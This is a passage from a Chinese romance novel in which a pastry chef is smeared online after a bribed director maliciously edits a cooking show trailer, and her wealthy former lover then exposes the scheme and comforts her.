明颜今天关店早,她就把明颜一起喊了过来,加上李阿姨,四人坐在一起吃晚餐。 平常梁音都不让女儿吃这种油炸食品,管控得很严。好不容易吃到了她喜欢的炸鸡,意意开心极了,小嘴巴上都沾了一点酱汁。 明颜拿纸巾给她擦掉,点点她嫩乎乎的小脸怎么看都看不够:“哎哟,我们意宝怎么会这么萌啊,姨姨亲死好了。” 意意小手拿着鸡块一下就掉了,连忙摇头:“不可以,不可以亲死意意!意意是活的!” “哈哈哈哈哈。” 明颜被她萌得不行,忍不住捏了捏她的小胖脸。 吃完了晚饭,梁音打开了动画片,意意去房间里拿她的“画作”去了。 明颜在她身边的沙发上坐下,朝她挤眉弄眼:“怎么样,今天节目录得怎么样,我说这霍大少该不会追到节目上当场表白去了吧?啧啧啧,那可太轰动了!” 梁音想起霍景闻在现场问她的那些问题,让她差点不知道怎么回答。 就算在公开场合提及感情的事,她也不想回答。不过她也知道,公开表白这样的事,霍景闻不会做,也做不出来的。 一个是因为她和霍景闻的协议,不能让霍家发现意意的存在。如果他公开表白,很难不让霍家发现他们的关系。另外就是以霍景闻高冷的性子,当初他们在一起,他都没有表白过,又怎么可能在大庭广众之下做这种事? 他更擅长的,明明是威逼利诱。 想到在停车场,他最后说的那几句话,梁音那点气闷又起来了。 他总是这样,动不动就威胁人,从来不讲道理,恶霸一样。 不再隐藏之后,他恶劣的本性更是暴露无疑。 梁音叹了一口气,沉闷地说:“没有。” 多的她不想再提。 明颜见状也没有继续追问。 忽然大腿被一道小小的力道挤了一下,明颜低头一看,就看见拿着一张蜡笔画的小不点哼哧哼哧爬上沙发,从她和梁音相隔不到一掌的缝隙中艰难的挤进来,然后大摇大摆的坐在她们中间。都快被挤成夹心饼干了,她还很是开心的晃荡着小腿。 明颜笑着问:“宝贝,你挤进来干嘛呀,都挤成饼干了你不难受呀?” 梁音也笑了笑,往旁边移动了一点。 “不难受呀。”意意也跟着往妈妈那边移了一点,“我和妈妈一起坐呢。” 总之梁音坐哪里,她就跟到哪里就对了。 明颜嘲笑她:“小鼻嘎一个,占有欲还挺强。” 意意眨巴眨巴眼睛:“啊?” “战有玉是谁呀,他很强吗?” 明颜:“……” 明颜:“你个小屁孩不懂的。” 意意哼了一声:“不懂就不懂,意意长大了会懂的。” 和梁音明颜炫耀完她的画,意意哼哼唧唧钻进梁音的怀里:“妈妈,我想玩消消乐,明颜阿姨都超过我了。” 梁音从口袋里拿出手机,打开消消乐递给她,“宝贝玩到多少关啦?” 意意自豪地说:“一百二十八关!” 明颜:“嘿嘿,我已经玩到一百二十九关了哦,一定是我先解救村长爷爷了!” 意意一听,紧迫感来了:“意意先救!” 客厅里时不时传来“unbelievable!”,“amazing!”的声音,意意滑到最后,眼看过不了关了,小手一点,就开始买道具(外挂),买一个就找梁 音刷脸:“妈妈,买这个!” “妈妈,再买一个锤子。” “妈妈……” 通过一声声召唤妈妈,意意很快就过了三关,超过了明颜。 明颜:“啊啊啊啊啊梁小意你不公平,你买道具!” 意意理直气壮:“我是小孩子,小孩子可以买道具的。” 明颜:“谁说的?每一关都要买道具,要很多钱的!” 意意:“我爸爸说的。爸爸说过不了就买道具,游戏设置得这么难,小孩子就是要买道具的。明颜阿姨你也可以买道具啊。” 明颜:“……” 她在干什么,她竟然在和坐在钱堆上的小公主说买道具要花很多钱? 明颜开始卖惨:“呜呜呜那明颜阿姨没有钱嘛,要是有人愿意转点钱给我买道具就好了。” 明颜不是第一次对小家伙卖惨了。 梁音本来以为女儿能看穿她的卖惨行为,没想到意意愣愣地看着明颜两秒,然后就去包里拿出自己的小天才,又把她的零花钱转了一半给明颜。 “明颜阿姨,给你买道具。” 屡试不爽。 明颜笑得眼睛都成了一条线,抱起意意狂亲了两下,“真是我的好宝宝,让姨姨再亲两下,啵啵。” 梁音笑着看着黏黏糊糊的两个人。 她女儿确实也太好骗了一点。 像谁呢。 “骗”了小孩儿零花钱的明颜喜滋滋地准备点奶茶,正问梁音想喝什么,意意先凑着小脑袋挤过来,小手在屏幕上划了划,慎重地思考了一下,然后点了一杯布蕾脆脆奶芙,“我喝这个。” “好,阿姨给你点。” 明颜点好了奶茶,正准备下单,微博一条消息突然跳了出来。 是《完美厨神》发新预告了。 明颜兴致勃勃的点进去看,过了一会儿,神色变得沉重起来,抬起头望向梁音,难以置信地说:“音音……我怎么觉得,你被恶剪了!” 第48章 第48章得罪谁了。 梁音带女儿洗完澡,哄她睡着以后才有空拿出手机,打开《完美厨神》的官方微博。 《完美厨神》上线以来,热度居高不下,再加上还有前三季的底子在,粉丝数也不少。特别是最近,还有很多网友都是冲着霍景闻来了,预告一发,众多网友闻风而动,竟然把这条预告都冲上了热搜。 #完美厨神预告# #完美厨神新评委# 预告中不仅郑重介绍了霍景闻的来头,镜头也是多得不行。明眼人都看得出来,这版预告的重点,都在霍家太子爷身上。 评论区也非常热闹。 “宫里来新人了?!!” “霍氏的总裁亲自录节目取悦我,我包看的!” “我去!!!大少爷这张脸真是绝了,顶级骨相的高奢脸,谁懂?” “这霍总的表情太冷了吧,总感觉他看谁都是一副看狗的表情。” “装死了。妈的,最烦装逼的人。” “可是我好喜欢啊,越冷脸我越喜欢,太有性张力了!” “帅晕了,艹。” “要是能让我嫁给他,再给我一个亿我也愿意!” “连吃带拿是吧?” “啊啊啊啊周叙琛我笑纳了,霍总我也笑纳了!” “你们说他和周叙琛谁更帅?更帅的那个,我允许他当我的老公!” 霍景闻这种桀骜的性格,有人喜欢就有人看不惯。但是那些看不惯的评论很快就被节目组删除了,而且导演还贴心的把他出场时对几个甜品师的“锐评”都删掉了,只留下了他说自己很公正的那番话。 果然评论区大部分网友都对此表示有好感。 “太棒了,这种大佬肯定是有什么说什么,公平得很。” “那当然了,这个节目里谁敢得罪他啊?更没有人能收买他了,他的评价,肯定是最没有水分的。” “好期待啊,我就期待这种大人物的锐评!” “怎么都没有我居安思音的镜头了,宝宝不高兴。” 这版预告整体都倾向于霍景闻,所以大部分评论都是冲着霍景闻来的,只有一两个镜头带到了梁音。 问题就出在这两个镜头。 明颜说她被恶剪了,就是梁音在介绍完自己的甜品后,大受好评之时,导演又将镜头转向了底下一个观众,那观众的反应非常不屑,甚至翻了一个白眼。这是一个很快的镜头,不仔细看压根就注意不到。 但是配合评论区忽然出现的一些言论,事情就变得微妙了起来。 “这梁音是皇族吧,被哪个资本塞进来的。” “我有个朋友是这个节目组的工作人员,他说这梁音做的甜品难吃死了,观众都很看不上,那些欢呼声都是后期剪的,就是强捧她。” “听说她和制片人是好朋友,主题早就提前拿到了!” “贱得要死,还欺压别的甜品师,威胁他们不让她们做出更好的甜品,就怕抢过她的风头。” “笑死,连一档美食节目都变成了关系户,内鱼药丸了。今天上美食节目,明天该不会就出道了吧?” “我家小丸子比她强一百倍。” “有实力的人比不上会运作有关系的关系户,这世道,底层人还有出路吗。” “我朋友去过菲尔纳丽,那甜品,真的非常一般,和路边买的没什么区别,都是营销出来的。” “补药啊,我刚嗑上居安思音啊!!!” “……” 梁音没有往下看,本想关掉微博,发现自己收到了很多条私信。 打开一看,大部分都是辱骂她的。梁音只看了一眼,就关掉了私信。 一开始只是几条带节奏的水军话术,本来是站不住脚的,可是《完美厨神》这预告一发,通过这个一闪而过的观众镜头,舆论开始大肆发酵,还有人爆出据说是内部工作人员暗戳戳发了一条吐槽梁音的微博。 很快,官微,官抖评论区就多了些审判梁音的话术。 虽然不算多,但都在前排,很醒目。 节奏一带,在节目相关话题下,有很多路人都开始跟风发抵制梁音的微博,抖音。 配文大多都是什么“如果这个世界真的没有公平可言,我希望能凭借自己小小的一点力量,来改变至少一分一毫。”,“德不配位的人滚出完美厨神”,“啊啊啊真是气炸了,皇族给我滚出去!”,“欺压别的甜品师真是贱死了!”,“不是吧不是吧怎么到处都是大小姐大少爷啊,普通人真的没有活路了吗?” 再配上苦情的音乐,个个真情实感。 经过一个晚上的发酵,越来越多的网友开始加入战场,共情上了。 虽然也有部分网友表示不站队。 “第一期节目我看下来这梁音不像是这种人啊。” “有眼睛的人都看得出来她做的确实比别人都好一点吧?” “吃了太多跟风的苦,不再无脑跟,这次等反转。” “我去菲尔纳丽吃过一次,甜品是有水平的。” “我想问说梁音是皇族,说梁音欺压别的甜品师除了这个说,那个爆料,有哪怕有一个证据摆出来吗?一个甜品师要经过多少努力才能站在这个舞台上,哪怕被称为行业内的天才,梁音也付出了将近十年的努力和艰辛才走到现在,你们难道听几句似是而非的所谓爆料就跟风围剿,这难道不是网暴吗?在给别人定罪之前,不应该听听梁音怎么说吗?我请求大家,理智一点,不要再被人带节奏了。” “笑死了,楼上这个叫“我是梁音脑残粉”的人你至少把名字改了再来洗地吧?” “就是。现在的粉丝都是脑残,无脑维护偶像,完全不管事实,颠倒黑白。” 梁音没有因为那些黑她的话术而难受,反而看着评论区明颜一次又一次和那些网友据理力争,眼眶里漫上了一点酸涩。 没用的。 在铺天盖地的通稿面前,怎么解释都无用。 梁音不是傻子,连明颜都看得出来她被恶剪了,再加上这一夜之间就蜂拥而出的通稿,说不是节目组搞事,她都不信。 出了这种事,她也不好出现在菲尔纳丽,沈浩的建议也是给她先放两天假。 梁音只说:“沈经理,给餐厅带来麻烦,我很抱歉,我会尽快解决的。” 沈浩:“唉,我知道你也不想的,这不怪你,不过你还是尽快联系一下节目组解决一下。看看是不是……你得罪谁了。” 沈浩毕竟是做经理的,和 来往的客人打交道,人也圆滑一点。这事儿一出他就想到梁音应该是得罪了谁了,要么就是导演,要么就是制片人之类。制片人排除,就剩导演了。 或许…… 沈浩还有一个猜想,不过他也不确定,不好轻易下结论。 这边梁音请完假后,没有立即去找导演王振杰,而是先给女儿做了早餐,然后送她去了幼儿园。 “妈妈再见。”意意下车黏黏糊糊的给了她一个吻。 梁音笑:“宝贝再见。” 等意意和吴老师进了幼儿园,梁音这才拿出手机,发现她给导演助理发的微信一直没有回复,不知道是没看到,还是干脆无视了。 安灵一大早就给她发了一条长长的微信,说她也不知道什么情况,但是会尽快解决。 梁音却没办法一直干等。 她直接开车去了电视台大楼。 她总要弄清楚,她到底是做错了什么吧。 王振杰正在另外一个摄影棚拍摄广告,梁音被两个工作人员挡在门外,整整等了一个小时。 副导演杨波从她身边走过,嘲讽道:“哟,这不是梁主厨吗,来找导演?不会是为了预告的事吧?不是我说梁老师,这都是观众的自发反应,这也能怪导演剪进去了?你做的是甜品又不是仙品,有人看不惯很正常啊,这也能来找导演要说法,我真是开了眼了。怎么着,只要有人不喜欢你的甜品,你就找人要说法吗哈哈哈。” 他的助理跟着附和:“就是,以后别叫梁主厨,叫梁说法得了,笑死人了,还没见过这么不体面的,懂不懂规矩啊。” 言语之间,是毫不掩饰的嫌弃与蔑视。 梁音被这两人奚落了一顿,拍完广告的王振杰终于从摄影棚里走出来,却像是没有看到梁音一样,眼看就要径直从她身边走过。 “王导。”梁音上前一步伸手拦住他,表情平静又诚恳,“打扰您几分钟,关于昨天的预告片,我想和您谈一谈可以么?” 王振杰这才转身扫了她一眼:“谈?谈什么?梁老师,第二期节目已经录制结束了,录制时间之外,我不希望和嘉宾有私下的联系。” 梁音:“可是……” 王振杰连话都不让她说完:“可是什么?” 这么多年他剪过多少的“名场面”出来,那些明星大腕都不敢找他麻烦,她这个小小的厨师还找上他了?真是让他大开眼界了。 这么厉害是吧,等着吧,接下来两期,他更要“好好”的给她点颜色看看。 王振杰:“梁音,我们可是签了合同的,怎么剪是我的事,你以为你是谁,有什么资格来质问我?” 王振杰完全没把一个小小的厨师放在眼里。 一道手机铃声忽然在空荡的走廊急促响起,铃声是那种急促又紧密的旋律,带着难以忽视的紧迫感。 这是王振杰特意设置的铃声,就是怕自己不小心没听到。 他几乎是迫不及待的从口袋里掏出手机,在接起之前,忽然又往后看了那个被他甩在身后,木讷又温弱的甜品师一眼,故作好心地说:“梁老师啊,我劝你还是回去吧。你就是站在这里一天我也没办法啊,片子都剪完了你就别为难我了,我还能为你一个小小的甜品师重新剪?” “你以为自己是谁啊,宜京大公主吗?” —— 王振杰一接到霍景闻助理的电话就迫不及待的往霍氏集团赶。 心中十分兴奋,张助理一大早就火急火燎的叫他过去,应该是有很重要的事要交代他,说不定是要夸奖他昨天的预告片剪得好? 在他的“妙手”之下,昨天的预告片一经发布,就让霍总受到了广大网友的好评,这对提升他的形象太有帮助了。 接下来的投资,稳了。 他想。 跟随张助理一路上到三十二楼,在一扇深黑鎏金的大门面前,张助理停下,敲了敲门后就转身对他说:“霍总在里面等你。” 果然是霍总要见他。 王振杰摁下激动的心情,推开沉重的总裁办公室大门,入目便是宽阔洁净,映照着半边宜京大楼的超大落地窗。 霍景闻就背对着门口站在落地窗前,手里还拿着一份文件。 听到开门动静,头也没回。 王振杰本来一路上很兴奋激动,自觉自己做得不错。可是一进到办公室,忽然不知道为什么,感觉气氛有点凝滞和古怪。 他做导演这么多年,感知能力一向不错。 心脏剧烈跳动,莫名感觉有点不安。 忐忑间,霍景闻忽然开口:“昨天的预告片是你故意这么剪的?” 办公室里太过安静,仔细听,就能听到他声线里那一丝强行压抑的紧绷。 可是王振杰一听到这句话,还以为是霍总觉得他做得好,完全被自己的兴奋冲昏头脑,哪里还听得出来。 他连忙邀功:“是的,霍总。昨天的预告片是我连夜精心剪出来的……不过就是一点小事,您不必挂在心上。” “小事?” 霍景闻终于转过身来,一步一步走向王振杰,眼里的森冷再也压不住,将手上的资料用力朝他脑袋砸下,脸上是勃然的戾气,“你他妈是疯了吗?” 第49章 第49章梁音,过来抱抱。…… 雪白的A4纸从王振杰头顶四下飘散,似雪花颤颤飘扬,最后落了满地。 办公室内的气氛几乎降至冰点。 王振杰额头沁出一层细密的冷汗。 他都不敢问一句为什么,就连忙蹲下身把地上的资料捡起来,来不及细看,站起身低头躬身问:“霍,霍总……我是哪里做得不对么?” 到现在,他也没有想明白霍景闻发这么大火的原因。 霍景闻面色阴沉难定,已经是怒极了。 这时门口传来敲门声,下一秒助理张晓推门而入,手里拿着一个平板,恭声汇报:“霍总,目前各大平台关于梁小姐的热搜以及话题已经全部联系撤下,节目组那边,我也联系了制片人,到时候会配合解释。只是最好的办法,还是需要公开未剪辑过的原始画面,才更有说服力。” 霍景闻应了声:“出去吧。” 张晓:“是。” 办公室厚重的大门再次关上,重归寂静。 王振杰满头大汗,拿着资料的手都在颤抖。他低着头,飞快思索着刚才张助理的话……关于梁音的所有热搜和话题全部下了?可是为什么霍总要这么做,他为什么这么关注一个甜品师的话题,难道是觉得他不该这么剪? 来不及细想,王振杰连忙解释自己这么剪梁音片段的原因:“霍总是这样的,您两次饭局这个梁音都不来,太过目中无人,所以……” 霍景闻冷笑一声:“这么说,你还是为我打抱不平了?” 王振杰不敢这么说,只把责任往自己身上揽,“她一个小小的厨师,对我们这些老前辈一点面子也不给,这种人一点人情世故都不懂,在娱乐圈走不久的。我也是想给她一点小小的教训,让她长个记性。” “你也配?”霍景闻阴冷的目光至上而下扫了他一眼,看他的眼神,宛如在看一堆毫无价值的垃圾,“连我都要求着她,你又是什么东西,也配她讨好你?” 霍景闻愠怒的尾音在耳边盘旋。 王振杰瞳孔急剧张大,浑身一震,顿时感觉有一盆凉水从头浇到脚,如坠冰窟般麻木。 此时他终于意识到什么。 他不是傻子,相反,就是因为他特别有眼力见,消息灵通,再加上能力不错才一步步走到现在,成为圈内地位不低的导演。 外界都传霍景闻有一个爱而不得的白月光。 众人都猜霍景闻是为了白月光才屈尊来当评委。 这些消息都没错。 唯一错的,是他搞错了人。 霍景闻的白月光根本不是嘉莹,而是那个被他恶剪的,梁音。 “我……”王振杰浑身颤抖,脸色煞白。 想到在来之前,他配合杨波对那梁音几番嘲讽打压,整个人几欲瘫倒。 他还嘲讽那梁音是宜京大公主,没成想,竟然是真的。 霍景闻的白月光,和宜京大公主又有什么区别? 他脑袋一片眩晕,恨不得当场晕倒。 “对不起,对不起霍总,我不知道她是您……我,我这 就回去重新剪,您放心,我一定把所有的高光全部剪给梁小姐来弥补我的过错。” 王振杰一身冷汗,忙不迭说。 霍景闻面无表情,轻飘飘地说:“重新剪?那你收了文轩的钱,重新剪了,该怎么向他交代呢?” 什么? 霍总连这都查到了? 王振杰如遭雷击,脸色惨白,直直呆愣在原地,终于反应过来,慌忙去翻手上的资料。 果然是他和文轩杨波所有的交易往来。 这些东西一经公开,他就算不被电视台开除也是身败名裂的下场。 “霍总,我错了我真的错了。”王振杰完全慌了心神,面如白纸,仓惶中他说,“我一定尽力补偿梁小姐的损失,您想要怎么做都可以。对了,没有剪辑的原片我立刻就发出来,证明梁小姐没有做那些事,这样一来,谣言不攻自破,反而还给梁小姐虐了一波粉,这,这也是好事啊……” 综艺里,这也是常见的营销方式了。 这样一来,说不定他也可以将功折罪…… 王振杰紧张地咽了咽口水,“接下来我一定好好剪,我也导过几档王牌综艺,到时候,我都请梁小姐来当嘉宾,给她最好的待遇以做补偿。” 王振杰把手里的原片拿出来,霍景闻立刻打了个电话,安排澄清。 不到十分钟,安灵就发了一篇长微博,把未经剪辑过的原片段发布在微博,解释事情前后始末,并同时向梁音表示道歉。 同时宜京电视台官博发出了一则开除声明,说明导演王振杰杨波等人在节目录制中,收受嘉宾的贿赂,严重破坏风气,予以开除。 联系这两件事,网友不难猜到此次梁音受到的舆论围剿,是出于什么原因。 “我去……这反转来得好快!” “没有剪辑的原片段我看过了,那个不屑的观众镜头不是冲梁音的,是冲那个文轩的!” “所以是那个文轩贿赂了导演,导演才故意这么剪的?我就说嘛,这舆论发酵得这么快,一定是人为下了大量通稿的。就是这文轩搞的鬼。” “对啊,好险恶啊这个文轩,自己比不过梁音,还好意思称自己是宜京甜品天花板呢。被梁音比下去了就用这种龌龊的方式背后搞鬼,太贱了吧!” “他还让水军一个劲儿的夸小丸子,不知道还以为是小丸子买的水军,阴险得要死。” 这时小丸子也发了微博:【昨天晚上我就看到微博了,一直没有出来说话是怕别人说我蹭热度,又看到那么多人踩梁主厨夸我,我更怕了。说实话,我自觉自己做的甜品还不错,但比梁主厨,还有很大的差距。接下来,我会继续努力。“】 “小丸子最棒了!” “摸摸小丸子,无妄之灾了属实是。” 沈又安也发了微博:【昨天晚上喝了酒很早就睡了,没看到微博。今天早上才发现出现这么离谱的谣言。宁愿相信一个嫁接的镜头,也不相信我们三个评委的评价?】 有这两个人的公开力挺,大部分网友已经偏向了梁音,舆论完全逆转。 澄清之后,大部分网友对梁音只剩下了同情和怜爱。 “美女什么都没有做错,就被网暴,真的怜爱了。” “天才总是被平庸之辈嫉妒的,我懂。” “这跟平庸之辈有什么关系,分明就是那个文轩自己心术不正好吗。” “文轩司了。” “这导演不是第一次搞事了,很多明星都遭过他的恶剪,终于得到报应了,普天同庆耶!” “话说这导演肆无忌惮恶剪,连当红明星都拿他没办法,这次怎么翻船了?还直接被电视台开除?而且还澄清的这么迅速!” “我怀疑他这次踢到铁板了。” “嗅到了不同寻常的气息。(没有说梁音有问题的意思)” 网络上的舆论基本平息,霍景闻又交代下去,不要做得太明显,避免引起一些无谓的猜测。 终于解决了这场针对梁音的无端网暴,霍景闻稍微放下心。 这才抬头冰冷厌恶地看向佝偻站着的王振杰,他的嗓音似无底深渊而来的幽冷,像是给他判了死刑: “她受到的伤害,你拿什么弥补?!” 王振杰再也支撑不住,整个人瘫倒在地。 …… 澄清一出,文轩不仅被《完美厨神》节目组解约,也被趣泽解聘,一时之间,名声尽毁人人喊打,比之过街的老鼠还不如。 他满心怨毒,自然不甘心。 别人不知道,但是他可是查过的,这梁音压根不是表面上的纯洁无瑕,要不是在意大利混不下去,她会灰溜溜的回来? 她在国外还打着官司呢。 这个消息一公布,不死也要让她脱层皮! 这次,他可没有冤枉她。 * 梁音接到安灵的电话时,她正在开车回去的路上。 安灵的语气很严肃:“梁音,节目组已经澄清了你的恶剪镜头,王振杰也被台里开除了,舆论本来都平息了。可是那个文轩在微博上实名举报你在意大利有抄袭行为,是被T&R餐厅……开除回国的。他还公开了那个叫大卫的甜品师举报你的视频。梁音,我当然相信你没有抄袭,可是这件事,我们节目组就无能无力了。” 梁音握着方向盘的手指紧了紧:“我知道,谢谢你帮了我这么多,我已经很感谢了。” 安灵顿了下,“其实不是……” 话音说到一半,又咽了回去,默认了。 安灵:“那你打算怎么办?要是任由文轩这个视频发酵下去,对你的名声是很不利的……” 梁音:“不怎么办。” 安灵:“啊?难道你就这么坐以待毙了?” 梁音也很无奈:“不是坐以待毙,而是我一直在打官司,官司结果没有出来之前,我也没有办法。” 安灵:“那怎么办啊,官司什么时候能结束啊?只要拿到判决书,这些谣言就不攻而破了。我看现在网络上对这件事的反馈也不算很糟。一方面文轩的名声已经臭了,没有多少人相信他。另外一方面,你刚刚经历了一波网暴,事件反转,网友也不敢轻易站队。所以正是这种时候,才要迅速澄清啊!你可以先发微博,说明你正在打官司安抚你的粉丝和网友,先稳住你的名声再说。等官司打赢了,再把判决书贴出来——” “可是我没有十分的把握一定能赢。”梁音把车停在路边,低下头捂住脸。 她没有把握能赢。 如果不能赢,如果失败,到时候她又怎么,证明自己的清白。 梁音无法控制的泄露出一丝颤抖。 她其实没有自己表现的那么强大和无懈可击,她因为这件事沉郁了好几个月,好多天无法入睡,被整得像是丧家之犬,还怕被大卫报复带着女儿匆匆回了国。 官司打了大半年,却毫无进展,提交的证据被一次又一次驳回,她不是不泄气,不是不绝望的。 她怕官司结束不了,她更怕官司结束了,是她输了。 她该怎么向大家保证,她一定会赢呢。 “谢谢你安灵。”梁音迅速整理好情绪,平静地说,“谢谢你帮我想办法,这件事我需要好好考虑一下,到时候我会自己处理的。你放心,没事的。” 安灵还是有些迟疑:“那……如果你有任何需要帮忙的地方,一定要第一时间告诉我。如果不是我,你不会陷入这种困境。梁音,我也很愧疚,对不起。” 梁音:“没关系,我知道这不关你的事。” 挂了电话以后,梁音干脆把手机调成飞行模式。 她想,先静一静。 …… 深秋的风像是带着细软锯齿的柳叶刮过脸庞。 落在脸上有细细密密的割裂感,却不疼。 梁音把车停在路边的停车位上,来到城西的一处河堤公园。 这个河堤公园就在她原来租的房子附近。 那个时候 她还很穷,钱都花在了各种烘焙材料上,没钱去繁华的地方娱乐,没事的时候她就会来这里走一走,玩一玩这里的公共的健身器材,晃荡晃荡就是几个小时。 早上十一点,太阳高挂,正是明媚光景,来河堤边散步的人不算少。 梁音在河边一张破旧的长椅上坐下,什么也没做,就是安静地享受着日光的沐浴,看着往来的行人,感受河边的微风。 阳光,微风,行人,构成了热闹又温暖的风景。 身心俱疲的时候,不妨好好坐下来,静静欣赏风景。这是梁音这么多年来,独有的放松方式。 这让她感到安宁。 安宁下来,才更能冷静思考。 从小到大她也习惯了,遇到问题时,一个人安静的思考,再一个人去解决。 梁音翻到代理律师发给她的信息。 律师告诉她,下周三会再次开庭,如果这次还不能提交有力的证据,法院一定会宣布她败诉。然后,她会被永远的钉在抄袭的耻辱柱上。 她不知道大卫是怎么摸进她家里去的,这个看上去一脸慈爱的白人,当初处处和她交好,和她交流心得,还分享给她一些改良口感的好办法,她以为他们是好朋友,言语中不小心透露了家庭地址。 大卫在比赛中输给她,当面恭喜她,事后一朝变脸,举报她剽窃他的创意。而她存在电脑中的设计灵感被大半删除,只剩下一些细枝末节的零星资料,无法证明她是原创。 事后她这个华人甜品师不仅被抵制,连餐厅经理——她的同学,朋友,赖以信任的亲人储深也不信任她,将她开除。 是,其实文轩说得没错,她就是狼狈回国的。被诬陷无法自证,被威胁无法自保,被背叛无可奈何。灰溜溜的,带着女儿回国了。 她一直在和大卫打官司,可也许是官司时间太长,提交的证据一次次被驳回,又或许是没有人站在她身边,一次又一次地提醒她她的失败,这件事早就成了她心里最深处的梦魇。 开庭时间在即,她竟然,有点彷徨了。 她怕官司最终还是失败,她无能为力,所以她没有办法像安灵说得那样,立马发一条微博安抚网友。 就算没有打开微博,她也能想象得出来网友的反应。 一波刚平一波又起,她就算完全无辜也会引起各种揣测。 虽然很滑稽,但是在意大利经历过一场抵制以后,那种百口莫辩的感觉,她确实到现在还心有余悸。 就像是蜗牛爬过的路边,那种黏腻的,阴冷的,无法排除的让人难受的潮湿感,会在干燥以后,依然留下深刻的痕迹。 “呜哇……” 后方忽然传来一道凄厉的小女孩的哭声。 梁音转身看去,是一个七八岁的小女孩,在爬网状的球形器材时摔下来了,估计磕到了膝盖,痛得她当场就哭了出来。 梁音小时候调皮,在孤儿院的时候也这么磕过。 不同的是,她当时是一个人爬起来的。而这个小女孩的爸爸妈妈很快就跑了过来,把小女孩拉起来,抱着她安慰了很久。 她妈妈卷起裤脚看了看孩子膝盖的伤口,没事才放心。询问她怎么摔到的,小女孩指了指那个器材,哭着说:“这个太难了,我永远也爬不过去。” 她妈妈看了眼,那器材并不高,也不危险。笑着跟她说:“你现在看着它难,等你过两年长高了就觉得它好简单了,其实啊这没什么大不了的,也不用说得那么难,怎么就永远也爬不过去了。” 小女孩吸了吸鼻子:“真的吗?” 她爸爸说:“当然是真的。就是你刚才摔了一跤,被它吓到了而已。不信你现在去爬,爸爸在下面看着你,保证不会让你摔到。” 接下来小女孩的父母又带她去了摔下的地方,说了些什么,梁音也听不清了。 只看见小女孩成功地爬了上去,开心地笑起来。 梁音顿时懂了那对父母的苦心。 一个小小的坡其实没什么大不了的。 可是如果不爬过去,这个,或许就是她一生的阴影,成为她的认知牢笼。 这个坡如此,或许她的官司亦是如此。 她也不该再困在过去的失败里自怨自艾。 梁音叹了口气,好像也得到了一些力量,从长椅上站起来。 她来到这里散心,不是要逃避,只是想安静地想一想。 过去这么多年,她遇到困难时候的每一次,彷徨过后,还是会去面对,继续坚定的走下去。她也习惯了独自思考解决问题。 就像是壁虎断裂的尾巴,鲜血淋漓以后,又不断自愈不断重生,最后总会好的。 梁音已经想好了怎么去处理这件事,转过身打算离开,抬眼视线略过一处,忽地一顿。 几米之外,霍景闻姿态闲淡,面无表情的站在草地上,不知道看了她多久。 他怎么会在这里? 梁音有些疑惑,对着他的目光,站在原地没有动。 河岸飘起了风,落尽叶子,光秃秃的柳枝随风飘动。 是孤寂的,无人问津的。 “我……”梁音抿了抿唇,慢慢开口,想谢谢他。 就算安灵没有明说,她也知道恶剪的事是他平息的。 安灵虽然是制片人,但是也没有权力去解聘一个导演。 有这个能力的人,是他。 他又不计前嫌的帮了她,她自然是该和他说一声谢谢的。 可是她的话刚开了一个头,就被霍景闻打断,他微微张开双臂,淡声说:“梁音,过来——” 看着他的身影,梁音忽然想起,这个地方不仅仅是她一个人的回忆。她和霍景闻恋爱的那一年,经常一起过来这里玩。他一个大少爷,竟也愿意配合她这种无聊又贫穷的娱乐方式。 所以,只有他猜的到她会在这里。 她的眼睫颤了下,沉默地站在原地没动,不知道他做出那个姿态是要做什么。 见她不动,霍景闻干脆大步流星走过来,很快来到她身前,张开双臂,俯下/身,强势又温柔的把她抱进怀里,宽阔的胸膛体温滚烫。 用行动把刚才的话补充完整。 他说—— 梁音,过来抱抱。 第50章 第50章亲我一口。 河堤的风不知道什么时候停了。 梁音刚要退出他的怀抱,霍景闻率先松开了手,转而握住她的手腕:“走吧。” “去哪儿?”梁音不得不跟上他的脚步。 霍景闻:“这里人太多,不够安静,我带你去一个风景更好更清净的地方散心。” 梁音低下眼睫不说话了。 直到上了车,被他摁在副驾驶上扣好安全带,梁音才说:“那个地方在哪儿,时间不早了,我也该回去了。” 她只是来这里散心,并不是想要逃避。 逃避也没有用,就算是为了节目能够继续录制,为了菲尔纳丽不因为她受到影响,为了她自己,她都要站出来解决这件事。 这两个小时的时间,已经够了。 霍景闻目光看着前方,脚下却一直在加速:“回去?你确定做好心理准备了吗?面对这些纷扰的流言,铺天盖地的质疑,梁音,你只给自己两个小时准备的时间?” “多给自己一点时间,这并不软弱。” 梁音:“可是……” 霍景闻:“没有可是。我给你朋友打过电话了,她会照顾好意意,你不用担心。” 梁音:“哦。” 沉默了几秒。 虽然她和霍景闻之前经常来这个公园散步,可是这也是很久之前的事了,他怎么会猜她来了河堤公园? 车里两人都没有说话,气氛越来越安静。 梁音还是忍不住问:“你为什么会猜到我在这里。” 路口的交通信号灯变成了红灯,霍景闻踩下刹车,等车停稳才偏头看她一眼,勾了下唇角,语气戏谑:“你在宜京还有别的散心的地 方?你不在的六年,我都快把这个公园踏平了,我不用想都知道你在这里。” 他的尾音拖长,谴责:“这个公园里的一砖一瓦,可都写满了你梁音辜负我一片真心的痕迹。” 梁。薄情寡义。音:“……” 又胡说八道。 谁辜负他真心了。 …… 开了两个小时的车,霍景闻带她来到一栋临山别墅,不,说起别墅,这里更像是笼映在森林里的豪华庄园。 欧式风格的庄园建立在半山腰,大得无边无际,视野更是开阔明亮,还有一片看起来有几百平的露台,坐在这里就能饱览葱郁的山景。这里辽阔静谧,没有城市的喧嚣。 霍景闻把车停下,就有一个穿着得体的管家过来问候,接过他的车钥匙,然后就再没出现过。 这偌大的庄园里,安安静静的,只剩下他们两个人。 霍景闻把她带到一处露天花园阳台,从这里,就可以俯瞰整个半山腰的景致。 “这里风景很不错,不会有人打扰你。”霍景闻丢下这句话后也离开。 整个花园露台,只剩下梁音一个人。 入目是浩渺天地,山野清风。这里确实能让人心情舒畅。 梁音搬了一张椅子放在露台边,这里视野最佳。 风的声音,偶尔的鸟鸣,山林摇曳的响动,一切的一切,远离了尘世,都让人心旷神怡,让她翻涌的思绪也渐渐平静下来。 在幽静的大自然里,好像什么烦恼都变得不值一提。 是她喜欢的安静。 而且这里的风景真的很漂亮,很美。青黄交错的树林配合着远处碧蓝如洗的天空,清幽空远,随着风飘扬而过,漫天黄叶散落。她从没有看过这么漂亮的风景。 漂亮的景色就该被记录下来。 转头看了一眼空无一人的花园,梁音眨了眨眼,从口袋里拿出手机,俗气的把山腰的风景每个角度都拍了下来。 好好看,回去发个朋友圈。 